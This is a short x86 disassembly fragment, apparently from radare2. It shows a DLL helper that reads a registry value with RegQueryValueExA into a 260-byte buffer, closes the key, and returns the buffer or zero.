lea edx, [esp + 8]
push edx
push edi
lea eax, [esp + 0x18]
push eax
push 0
push 0
push ecx
mov dword [esp + 0x20], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x10003c61
mov eax, edi
pop edi
pop ecx
ret 8
xor eax, eax
pop edi
pop ecx
ret 8